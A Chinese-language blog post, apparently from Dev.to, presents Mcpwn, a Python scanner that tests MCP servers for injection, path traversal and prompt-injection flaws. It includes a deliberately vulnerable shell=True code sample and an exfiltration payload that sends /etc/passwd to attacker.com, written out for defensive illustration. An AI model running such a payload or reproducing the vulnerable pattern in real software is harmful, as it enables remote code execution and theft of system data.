构建用于MCP服务器的安全扫描器
Source: Dev.to
引言
模型上下文协议(Model Context Protocol,MCP)是 Anthropic 为将 AI 代理连接到外部工具和数据源而制定的新标准。在使用 MCP 服务器的过程中,我注意到一个关键缺口:没有针对它们的自动化安全测试。
MCP 服务器赋予 AI 代理强大的能力,例如文件操作、命令执行和数据库访问。单个易受攻击的工具就可能导致系统被完全妥协,而手动代码审查往往会遗漏工具参数中的注入漏洞。
漏洞示例
def execute_command(command: str):
return subprocess.run(command, shell=True, capture_output=True)
漏洞在于未对 command 参数进行清理。AI 代理可以注入恶意负载,例如:
ls; curl http://attacker.com/exfil?data=$(cat /etc/passwd)
Mcpwn – MCP 服务器的自动化安全扫描器
Mcpwn 是一个纯 Python 扫描器,能够检测 MCP 服务器运行时的漏洞。名字取自 “MCP pwn” 的双关。
语义检测胜过崩溃检测
Mcpwn 不再仅仅寻找崩溃,而是分析响应内容中的已知模式:
uid=1000(user)→ 命令注入root:x:0:0:root→ 路径遍历 / 文件读取-----BEGIN PRIVATE KEY→ 私钥泄漏- 时间偏差 → 盲注
零依赖
- 仅使用 Python 标准库实现。
- 无需
pip install,简化 CI/CD 集成并降低攻击面。
结构化输出
Mcpwn 可以以 JSON 和 SARIF 格式输出发现,便于 AI 工具或 CI 流水线消费。
{
"summary": {
"total": 3,
"by_severity": { "CRITICAL": 2, "HIGH": 1 }
},
"findings": [ /* ... */ ]
}
核心组件
core/
├── pentester.py # 编排器(线程安全,超时处理)
├── detector.py # 语义检测引擎
└── reporter.py # JSON/HTML/SARIF 报告生成
已实现的检查
- 工具参数注入(RCE、路径遍历)
- 资源路径遍历
- 提示注入(上下文混淆、分隔符突破)
- 协议模糊测试(畸形 JSON‑RPC)
- 状态不同步攻击
- 资源耗尽
检测示例
import re
def detect_rce(response: str) -> bool:
patterns = [
r'uid=\d+\([^)]+\)', # Unix 用户 ID
r'gid=\d+\([^)]+\)', # Unix 组 ID
r'root:x:0:0:root' # /etc/passwd 条目
]
return any(re.search(p, response) for p in patterns)
在测试期间,Mcpwn 发现了生产环境 MCP 服务器中的 RCE 漏洞,而这些漏洞在手动审查中被遗漏。
示例扫描输出
$ python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp
[INFO] Found 2 tools, 0 resources
[WARNING] execute_command: RCE via command
[WARNING] Detection: uid=1000(user) gid=1000(user)
[INFO] Mcpwn complete
使用方法
快速扫描(≈5 秒)
python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp
生成 JSON 报告
python mcpwn.py --output-json report.json
CI/CD 集成(SARIF)
python mcpwn.py --output-sarif report.sarif
设计考量
- 语义检测胜过崩溃检测 – 模式匹配能够发现不会导致崩溃的数据泄漏。
- 线程安全 – MCP 服务器会处理并发请求;Mcpwn 对请求 ID 和健康检查使用了适当的锁。
- 全局超时 – 默认 10 秒超时,可配置;快速模式使用 5 秒以避免卡死。
- 误报缓解 – 例如,路径遍历检测需要出现两个或以上标记才会触发警报。
计划功能
- SSRF 注入检测
- 反序列化攻击测试
- 模式污染检查
- 认证绕过测试
当前局限
- 不 检测配置问题,如暴露的凭证。
- 漏掉业务逻辑缺陷和复杂的多步骤攻击链。
- 侧重于运行时利用模式;仍需人工审查逻辑错误。
入门指南
git clone https://github.com/Teycir/Mcpwn.git
cd Mcpwn
python3 mcpwn.py --help
Mcpwn 使用 MIT 许可证,包含 45 条通过的测试,且不依赖任何外部库。
GitHub: https://github.com/Teycir/Mcpwn
讨论
您在 AI 代理基础设施的安全测试中发现哪些方法有效?欢迎分享您的想法。